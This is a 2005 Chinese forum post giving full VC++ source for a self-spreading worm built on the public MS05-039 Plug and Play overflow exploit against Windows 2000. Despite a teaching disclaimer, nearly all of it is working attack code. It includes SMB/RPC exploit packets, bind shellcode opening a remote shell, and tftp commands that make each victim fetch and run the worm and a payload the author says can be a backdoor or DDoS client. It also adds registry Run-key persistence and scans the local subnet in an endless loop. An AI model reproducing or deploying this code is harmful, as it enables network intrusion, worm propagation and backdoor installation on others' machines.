Ms05039蠕虫的VC实现

发布:sunlion@E.S.T

日期:2005-12-10

今年8月的新蠕虫狙击波利用了ms05039 PnP服务漏洞， 因为ms05039的exploit在网上是公开的，请见http://www.eviloctal.com/forum/htm_data/10/0508/13433.html, 可以利用这个exploit得到对方主机(win2k)的shell, 所以用这个exploit做一个蠕虫并不难。 声明：本文出于教学目的，修改导致任何后果与作者无关 实现的思路是，先在本机建立一个tftp服务器，然后得到局域网各个机器的ip地址，（不想惹麻烦，没有加上生成随机地址的代码，所以不会在公网上传播），然后逐个溢出，得到shell，再发送命宁，让对方主机用TFTP从本机下载3个文件，一个蠕虫文件，一个tftp服务端，一个payload文件。（思路来自Malware-fighting malicious code一书，作者比喻这种方式是搬家式的蠕虫，因为除了蠕虫自己以外，还需要把环境复制到对方主机中）。然后再发送命宁让对方主机执行蠕虫文件。执行时，先产生一个互斥量，确保只有一个蠕虫进程在机器上运行，然后写入注册表，实现下次开机自启动，再后面的过程就和开头一样了，如此反复循环。 以下是代码，winxp+vc6.0下编译通过， 注意目标主机只对win2k有效 声明：代码中精华部分是.::[ houseofdabus ]::.的exploit。 //这个是shellcode.h ///******************************************************** //以下shell code是.::[ houseofdabus ]::.的ms05039溢出exploit //用于buffer overflow，是蠕虫的精华部分 //********************************************************* /* #define _WIN32 */ #include <stdio.h> #include <stdlib.h> #include <string.h> #ifdef _WIN32 #include <winsock2.h> #pragma comment(lib, "ws2_32") #else #include <sys/types.h> #include <netinet/in.h> #include <sys/socket.h> #include <netdb.h> #endif char SMB_Negotiate[] = "/x00/x00/x00/x85/xFF/x53/x4D/x42/x72/x00/x00/x00/x00/x18/x53/xC8" "/x00/x00/x00/x00/x00/x00/x00/x00/x00/x00/x00/x00/x00/x00/xFF/xFE" "/x00/x00/x00/x00/x00/x62/x00/x02/x50/x43/x20/x4E/x45/x54/x57/x4F" "/x52/x4B/x20/x50/x52/x4F/x47/x52/x41/x4D/x20/x31/x2E/x30/x00/x02" "/x4C/x41/x4E/x4D/x41/x4E/x31/x2E/x30/x00/x02/x57/x69/x6E/x64/x6F" "/x77/x73/x20/x66/x6F/x72/x20/x57/x6F/x72/x6B/x67/x72/x6F/x75/x70" "/x73/x20/x33/x2E/x31/x61/x00/x02/x4C/x4D/x31/x2E/x32/x58/x30/x30" "/x32/x00/x02/x4C/x41/x4E/x4D/x41/x4E/x32/x2E/x31/x00/x02/x4E/x54" "/x20/x4C/x4D/x20/x30/x2E/x31/x32/x00"; char SMB_SessionSetupAndX[] = "/x00/x00/x00/xA4/xFF/x53/x4D/x42/x73/x00/x00/x00/x00/x18/x07/xC8" "/x00/x00/x00/x00/x00/x00/x00/x00/x00/x00/x00/x00/x00/x00/xFF/xFE" "/x00/x00/x10/x00/x0C/xFF/x00/xA4/x00/x04/x11/x0A/x00/x00/x00/x00" "/x00/x00/x00/x20/x00/x00/x00/x00/x00/xD4/x00/x00/x80/x69/x00/x4E" "/x54/x4C/x4D/x53/x53/x50/x00/x01/x00/x00/x00/x97/x82/x08/xE0/x00" "/x00/x00/x00/x00/x00/x00/x00/x00/x00/x00/x00/x00/x00/x00/x00/x00" "/x57/x00/x69/x00/x6E/x00/x64/x00/x6F/x00/x77/x00/x73/x00/x20/x00" "/x32/x00/x30/x00/x30/x00/x30/x00/x20/x00/x32/x00/x31/x00/x39/x00" "/x35/x00/x00/x00/x57/x00/x69/x00/x6E/x00/x64/x00/x6F/x00/x77/x00" "/x73/x00/x20/x00/x32/x00/x30/x00/x30/x00/x30/x00/x20/x00/x35/x00" "/x2E/x00/x30/x00/x00/x00/x00/x00"; char SMB_SessionSetupAndX2[] = "/x00/x00/x00/xDA/xFF/x53/x4D/x42/x73/x00/x00/x00/x00/x18/x07/xC8" "/x00/x00/x00/x00/x00/x00/x00/x00/x00/x00/x00/x00/x00/x00/xFF/xFE" "/x00/x08/x20/x00/x0C/xFF/x00/xDA/x00/x04/x11/x0A/x00/x00/x00/x00" "/x00/x00/x00/x57/x00/x00/x00/x00/x00/xD4/x00/x00/x80/x9F/x00/x4E" "/x54/x4C/x4D/x53/x53/x50/x00/x03/x00/x00/x00/x01/x00/x01/x00/x46" "/x00/x00/x00/x00/x00/x00/x00/x47/x00/x00/x00/x00/x00/x00/x00/x40" "/x00/x00/x00/x00/x00/x00/x00/x40/x00/x00/x00/x06/x00/x06/x00/x40" "/x00/x00/x00/x10/x00/x10/x00/x47/x00/x00/x00/x15/x8A/x88/xE0/x48" "/x00/x4F/x00/x44/x00/x00/xED/x41/x2C/x27/x86/x26/xD2/x59/xA0/xB3" "/x5E/xAA/x00/x88/x6F/xC5/x57/x00/x69/x00/x6E/x00/x64/x00/x6F/x00" "/x77/x00/x73/x00/x20/x00/x32/x00/x30/x00/x30/x00/x30/x00/x20/x00" "/x32/x00/x31/x00/x39/x00/x35/x00/x00/x00/x57/x00/x69/x00/x6E/x00" "/x64/x00/x6F/x00/x77/x00/x73/x00/x20/x00/x32/x00/x30/x00/x30/x00" "/x30/x00/x20/x00/x35/x00/x2E/x00/x30/x00/x00/x00/x00/x00"; char SMB_TreeConnectAndX[] = "/x00/x00/x00/x5A/xFF/x53/x4D/x42/x75/x00/x00/x00/x00/x18/x07/xC8" "/x00/x00/x00/x00/x00/x00/x00/x00/x00/x00/x00/x00/x00/x00/xFF/xFE" "/x00/x08/x30/x00/x04/xFF/x00/x5A/x00/x08/x00/x01/x00/x2F/x00/x00"; char SMB_TreeConnectAndX_[] = "/x00/x00/x3F/x3F/x3F/x3F/x3F/x00"; /* browser */   char SMB_PipeRequest_browser[] = "/x00/x00/x00/x66/xFF/x53/x4D/x42/xA2/x00/x00/x00/x00/x18/x07/xC8" "/x00/x00/x00/x00/x00/x00/x00/x00/x00/x00/x00/x00/x00/x08/x78/x04" "/x00/x08/x40/x00/x18/xFF/x00/xDE/xDE/x00/x10/x00/x16/x00/x00/x00" "/x00/x00/x00/x00/x9F/x01/x02/x00/x00/x00/x00/x00/x00/x00/x00/x00" "/x00/x00/x00/x00/x00/x00/x00/x00/x01/x00/x00/x00/x40/x00/x00/x00" "/x02/x00/x00/x00/x03/x13/x00/x00/x5C/x00/x62/x00/x72/x00/x6F/x00" "/x77/x00/x73/x00/x65/x00/x72/x00/x00/x00";   char SMB_PNPEndpoint[] = /* 8d9f4e40-a03d-11ce-8f69-08003e30051b v1.0: pnp */ "/x00/x00/x00/x9C/xFF/x53/x4D/x42/x25/x00/x00/x00/x00/x18/x07/xC8" "/x00/x00/x00/x00/x00/x00/x00/x00/x00/x00/x00/x00/x00/x08/x78/x04" "/x00/x08/x50/x00/x10/x00/x00/x48/x00/x00/x00/x00/x10/x00/x00/x00" "/x00/x00/x00/x00/x00/x00/x00/x00/x00/x54/x00/x48/x00/x54/x00/x02" "/x00/x26/x00/x00/x40/x59/x00/x00/x5C/x00/x50/x00/x49/x00/x50/x00" "/x45/x00/x5C/x00/x00/x00/x40/x00/x05/x00/x0B/x03/x10/x00/x00/x00" "/x48/x00/x00/x00/x01/x00/x00/x00/xB8/x10/xB8/x10/x00/x00/x00/x00" "/x01/x00/x00/x00/x00/x00/x01/x00/x40/x4E/x9F/x8D/x3D/xA0/xCE/x11" "/x8F/x69/x08/x00/x3E/x30/x05/x1B/x01/x00/x00/x00/x04/x5D/x88/x8A" "/xEB/x1C/xC9/x11/x9F/xE8/x08/x00/x2B/x10/x48/x60/x02/x00/x00/x00";   char RPC_call[] = "/x00/x00/x08/x90/xFF/x53/x4D/x42/x25/x00/x00/x00/x00/x18/x07/xC8" "/x00/x00/x00/x00/x00/x00/x00/x00/x00/x00/x00/x00/x00/x08/x78/x04" "/x00/x08/x60/x00/x10/x00/x00/x3C/x08/x00/x00/x00/x01/x00/x00/x00" "/x00/x00/x00/x00/x00/x00/x00/x00/x00/x54/x00/x3C/x08/x54/x00/x02" "/x00/x26/x00/x00/x40/x4D/x08/x00/x5C/x00/x50/x00/x49/x00/x50/x00" "/x45/x00/x5C/x00/x00/x00/x40/x00/x05/x00/x00/x03/x10/x00/x00/x00" "/x3C/x08/x00/x00/x01/x00/x00/x00/x24/x08/x00/x00/x00/x00/x36/x00" "/x11/x00/x00/x00/x00/x00/x00/x00/x11/x00/x00/x00/x52/x00/x4F/x00" "/x4F/x00/x54/x00/x5C/x00/x53/x00/x59/x00/x53/x00/x54/x00/x45/x00" "/x4D/x00/x5C/x00/x30/x00/x30/x00/x30/x00/x30/x00/x00/x00/x00/x00" "/xFF/xFF/x00/x00/xE0/x07/x00/x00/x00/x00/x00/x00/x00/x00/x00/x00" "/xC0/x07/x00/x00/x00/x00/x00/x00/x90/x90/x90/x90/x90/x90/x90/x90" "/xEB/x08/x90/x90/x67/x15/x7a/x76/xEB/x08/x90/x90/x67/x15/x7a/x76" "/xEB/x08/x90/x90/x67/x15/x7a/x76/xEB/x08/x90/x90/x67/x15/x7a/x76" "/xEB/x08/x90/x90/x67/x15/x7a/x76/xEB/x08/x90/x90/x67/x15/x7a/x76" "/xEB/x08/x90/x90/x67/x15/x7a/x76/xEB/x08/x90/x90/x67/x15/x7a/x76" /* jmp over - entry point */ "/xEB/x08/x90/x90" /* pop reg; pop reg; retn; - umpnpmgr.dll */ "/x67/x15/x7a/x76" /* 0x767a1567 */ /* jmp ebx - umpnpmgr.dll "/x6f/x36/x7a/x76" */ "/xEB/x08/x90/x90/x67/x15/x7a/x76" "/x90/x90/x90/x90/x90/x90/x90/xEB/x08/x90/x90/x48/x4F/x44/x88/x90" "/x90/x90/x90/x90/x90/x90/x90/x90/x90/x90/x90/x90/x90/x90/x90/x90";   char RPC_call_end[] = "/xE0/x07/x00/x00/x04/x00/x00/x00/x00/x00/x00/x00";   char bind_shellcode[] = "/x29/xc9/x83/xe9/xb0/xd9/xee/xd9/x74/x24/xf4/x5b/x81/x73/x13/x19" "/xf5/x04/x37/x83/xeb/xfc/xe2/xf4/xe5/x9f/xef/x7a/xf1/x0c/xfb/xc8" "/xe6/x95/x8f/x5b/x3d/xd1/x8f/x72/x25/x7e/x78/x32/x61/xf4/xeb/xbc" "/x56/xed/x8f/x68/x39/xf4/xef/x7e/x92/xc1/x8f/x36/xf7/xc4/xc4/xae" "/xb5/x71/xc4/x43/x1e/x34/xce/x3a/x18/x37/xef/xc3/x22/xa1/x20/x1f" "/x6c/x10/x8f/x68/x3d/xf4/xef/x51/x92/xf9/x4f/xbc/x46/xe9/x05/xdc" "/x1a/xd9/x8f/xbe/x75/xd1/x18/x56/xda/xc4/xdf/x53/x92/xb6/x34/xbc" "/x59/xf9/x8f/x47/x05/x58/x8f/x77/x11/xab/x6c/xb9/x57/xfb/xe8/x67" "/xe6/x23/x62/x64/x7f/x9d/x37/x05/x71/x82/x77/x05/x46/xa1/xfb/xe7" "/x71/x3e/xe9/xcb/x22/xa5/xfb/xe1/x46/x7c/xe1/x51/x98/x18/x0c/x35" "/x4c/x9f/x06/xc8/xc9/x9d/xdd/x3e/xec/x58/x53/xc8/xcf/xa6/x57/x64" "/x4a/xa6/x47/x64/x5a/xa6/xfb/xe7/x7f/x9d/x1a/x55/x7f/xa6/x8d/xd6" "/x8c/x9d/xa0/x2d/x69/x32/x53/xc8/xcf/x9f/x14/x66/x4c/x0a/xd4/x5f" "/xbd/x58/x2a/xde/x4e/x0a/xd2/x64/x4c/x0a/xd4/x5f/xfc/xbc/x82/x7e" "/x4e/x0a/xd2/x67/x4d/xa1/x51/xc8/xc9/x66/x6c/xd0/x60/x33/x7d/x60" "/xe6/x23/x51/xc8/xc9/x93/x6e/x53/x7f/x9d/x67/x5a/x90/x10/x6e/x67" "/x40/xdc/xc8/xbe/xfe/x9f/x40/xbe/xfb/xc4/xc4/xc4/xb3/x0b/x46/x1a" "/xe7/xb7/x28/xa4/x94/x8f/x3c/x9c/xb2/x5e/x6c/x45/xe7/x46/x12/xc8" "/x6c/xb1/xfb/xe1/x42/xa2/x56/x66/x48/xa4/x6e/x36/x48/xa4/x51/x66" "/xe6/x25/x6c/x9a/xc0/xf0/xca/x64/xe6/x23/x6e/xc8/xe6/xc2/xfb/xe7" "/x92/xa2/xf8/xb4/xdd/x91/xfb/xe1/x4b/x0a/xd4/x5f/xf6/x3b/xe4/x57" "/x4a/x0a/xd2/xc8/xc9/xf5/x04/x37"; #define SET_PORTBIND_PORT(buf, port) / *(unsigned short *)(((buf)+186)) = (port) //这个是worm.cpp // worm.cpp : Defines the entry point for the application. // #include "stdafx.h" #include "stdafx.h" #include "shellcode.h" #include <windows.h> #include <stdio.h> #include <shellapi.h> void convert_name(char *out, char *name) {      unsigned long len;      len = strlen(name);      out += len * 2 - 1;      while (len--) {            *out-- = '/x00';            *out-- = name[len];      } } //******************************************************** //GetShell是.::[ houseofdabus ]::.写的ms05039溢出exploit //可以得到远程win2k主机的shell，是蠕虫的精华部分 //********************************************************* int GetShell(char* IP_address) {      struct sockaddr_in addr;      struct hostent *he;      int len;      int sockfd;      unsigned short smblen;      unsigned short bindport;       char tmp[1024];       char packet[4096];       char *ptr;      char recvbuf[4096];      #ifdef _WIN32      WSADATA wsa;      WSAStartup(MAKEWORD(2,0), &wsa);      #endif      if ((he = gethostbyname(IP_address)) == NULL) {      return 1;             }      if ((sockfd = socket(AF_INET, SOCK_STREAM, 0)) < 0) {             return 1;      }      addr.sin_family = AF_INET;      addr.sin_port = htons(445);      addr.sin_addr = *((struct in_addr *)he->h_addr);      memset(&(addr.sin_zero), '/0', 8);            if (connect(sockfd, (struct sockaddr *)&addr, sizeof(struct sockaddr)) < 0) {             return 1;      }            if (send(sockfd, SMB_Negotiate, sizeof(SMB_Negotiate)-1, 0) < 0) {             return 1;      }      len = recv(sockfd, recvbuf, 4096, 0);      if ((len <= 10) || (recvbuf[9] != 0)) {      ;       return 1;      }      if (send(sockfd, SMB_SessionSetupAndX, sizeof(SMB_SessionSetupAndX)-1, 0) < 0) {             return 1;      }      len = recv(sockfd, recvbuf, 4096, 0);      if (len <= 10) {             return 1;      }      if (send(sockfd, SMB_SessionSetupAndX2, sizeof(SMB_SessionSetupAndX2)-1, 0) < 0) {             return 1;      }      len = recv(sockfd, recvbuf, 4096, 0);      if ((len <= 10) || (recvbuf[9] != 0)) {             return 1;      }      ptr = packet;      memcpy(ptr, SMB_TreeConnectAndX, sizeof(SMB_TreeConnectAndX)-1);      ptr += sizeof(SMB_TreeConnectAndX)-1;      sprintf(tmp, "%s//IPC$", IP_address);      convert_name(ptr, tmp);      smblen = strlen(tmp)*2;      ptr += smblen;      smblen += 9;      memcpy(packet + sizeof(SMB_TreeConnectAndX)-1-3, &smblen, 1);      memcpy(ptr, SMB_TreeConnectAndX_, sizeof(SMB_TreeConnectAndX_)-1);      ptr += sizeof(SMB_TreeConnectAndX_)-1;      smblen = ptr-packet;      smblen -= 4;      memcpy(packet+3, &smblen, 1);      if (send(sockfd, packet, ptr-packet, 0) < 0) {             return 1;      }      len = recv(sockfd, recvbuf, 4096, 0);      if ((len <= 10) || (recvbuf[9] != 0)) {             return 1;      }            if (send(sockfd, SMB_PipeRequest_browser, sizeof(SMB_PipeRequest_browser)-1, 0) < 0) {             return 1;      }      len = recv(sockfd, recvbuf, 4096, 0);      if ((len <= 10) || (recvbuf[9] != 0)) {             return 1;      }      if (send(sockfd, SMB_PNPEndpoint, sizeof(SMB_PNPEndpoint)-1, 0) < 0) {             return 1;      }      len = recv(sockfd, recvbuf, 4096, 0);      if ((len <= 10) || (recvbuf[9] != 0)) {             return 1;      }            // nop      ptr = packet;      memset(packet, '/x90', sizeof(packet));      // header & offsets      memcpy(ptr, RPC_call, sizeof(RPC_call)-1);      ptr += sizeof(RPC_call)-1;      // shellcode      bindport = 7777;      bindport ^= 0x0437;      SET_PORTBIND_PORT(bind_shellcode, htons(bindport));      memcpy(ptr, bind_shellcode, sizeof(bind_shellcode)-1);      // end of packet      memcpy( packet + 2196 - sizeof(RPC_call_end)-1 + 2,      RPC_call_end,      sizeof(RPC_call_end)-1);      // sending...      if (send(sockfd, packet, 2196, 0) < 0) {             return 1;      }            return 0; } //******************************************************* //繁殖复制 by nick chang //******************************************************** int propagate(char *IP_address) {            struct sockaddr_in addr;      struct hostent *he;      int sockfd;      char recvbuf[4096];      #ifdef _WIN32      WSADATA wsa;      WSAStartup(MAKEWORD(2,0), &wsa);      #endif            char szHostname[256];       char *pszAddr;      struct hostent *pHost;      //得到本机的IP地址      if(gethostname(szHostname,sizeof(szHostname))==0)      {            pHost=gethostbyname(szHostname);            if(pHost)            pszAddr=inet_ntoa(*(struct in_addr *) pHost->h_addr_list[0]);      }       //发送3传送文件命令,让远程主机从本机取3个文件      //tftpd32是tftp的服务端，即在每个受害主机上建立一个tftp服务器      //worm 就是这个蠕虫文件本身了      //payload就是一个负载文件，可以是后门，也可以是ddos的客户端      char sendserver[40];      char sendworm[40];      char sendpayload[40];      sprintf(sendserver,"tftp -i %s GET tftpd32.exe/n",pszAddr);      sprintf(sendworm,"tftp -i %s GET worm.exe/n",pszAddr);      sprintf(sendpayload,"tftp -i %s GET payload.exe/n",pszAddr);      if ((he = gethostbyname(IP_address)) == NULL) {      return 1;             }      if ((sockfd = socket(AF_INET, SOCK_STREAM, 0)) < 0) {      return 1;             }      addr.sin_family = AF_INET;      addr.sin_port = htons(7777);      addr.sin_addr = *((struct in_addr *)he->h_addr);      memset(&(addr.sin_zero), '/0', 8);      if (connect(sockfd, (struct sockaddr *)&addr, sizeof(struct sockaddr)) < 0) {      return 1;      }            recv(sockfd, recvbuf, 4096, 0);                  //向远方主机发送3个取文件的命宁      if (send(sockfd, sendserver, strlen(sendserver), 0) < 0) {      return 1;      }      Sleep(500);      if (send(sockfd, sendworm, strlen(sendworm), 0) < 0) {      return 1;      }      Sleep(500);      if (send(sockfd, sendpayload, strlen(sendpayload), 0) < 0) {      return 1;      }      Sleep(500);      //向远方主机发送执行蠕虫的命宁      if (send(sockfd, "start ee.exe/n", strlen("start worm.exe/n"), 0) < 0) {      return 1;      }      Sleep(500);      if (send(sockfd, "ee.exe/n", strlen("worm.exe/n"), 0) < 0) {      return 1;      }      return 0; } //***************************************************** //蠕虫线程,得到shell和复制by nick chang //****************************************************** DWORD WINAPI Attack(LPVOID p) {      int ret;      char *IP_address = (char *)p;            if((ret=GetShell(IP_address))== 0)                  propagate(IP_address);      return 0; } //******************************************************** //假设mask 255.255.255.0 by nick chang //********************************************************* void gethost(char* pszAddr) {      int i=0;      int j=0;      while(i!=3)      {            if(pszAddr[j] == '.')                  i++;            j++;      }      pszAddr[j] = '/0'; } //******************************************************** //主程序by nick chang //******************************************************** int APIENTRY WinMain(HINSTANCE hInstance,               HINSTANCE hPrevInstance,               LPSTR   lpCmdLine,               int     nCmdShow) {      char szHostname[256];       char *pszAddr;       struct hostent *pHost;      WORD wVersionRequested;      WSADATA wsaData;      int err;      wVersionRequested = MAKEWORD( 2, 2 );      err = WSAStartup( wVersionRequested, &wsaData );      //创建一个互斥量，确保只有一个蠕虫在运行      HANDLE m_hMutex = CreateMutex(NULL, NULL, "wormmutex");      if(GetLastError()==ERROR_ALREADY_EXISTS)            {                  return 1;            }      //执行 payload      for(int i =0; i<20;i++)      ShellExecute(NULL,"open","payload.exe","","", SW_SHOW );      //运行tftp服务      ShellExecute(NULL,"open","tftpd32.exe","","", SW_HIDE );      DWORD dwThreadID;      //写入注册表，开机时自动运行蠕虫      HKEY hKey;      char path[] = "c://winnt//system32//worm.exe";      char data_Set[] = "Software//Microsoft//Windows//CurrentVersion//Run";      int      len = strlen(path);      RegOpenKeyEx(HKEY_LOCAL_MACHINE,data_Set,0,KEY_WRITE,&hKey);      RegSetValueEx(hKey,NULL,NULL,REG_SZ,(LPBYTE)path,len);      RegCloseKey(hKey);      //得到自己的地址      if(gethostname(szHostname,sizeof(szHostname))==0)      {            pHost=gethostbyname(szHostname);            if(pHost)            pszAddr=inet_ntoa(*(struct in_addr *) pHost->h_addr_list[0]);                  }      while(1)      {            //由自己的地址穷举局域网里的其他机器的地址，假设mask255.255.255.0            for(int i=1 ; i<255; i++)            {                  gethost(pszAddr);                  sprintf(pszAddr,"%s%i",pszAddr,i);                  //以这个地址创造攻击线程                  CreateThread(NULL,0,Attack,pszAddr,0,&dwThreadID);                  Sleep(500);            }                        Sleep(30000);//停一段时间在攻击，以免对方直接crash.      }      return 0; }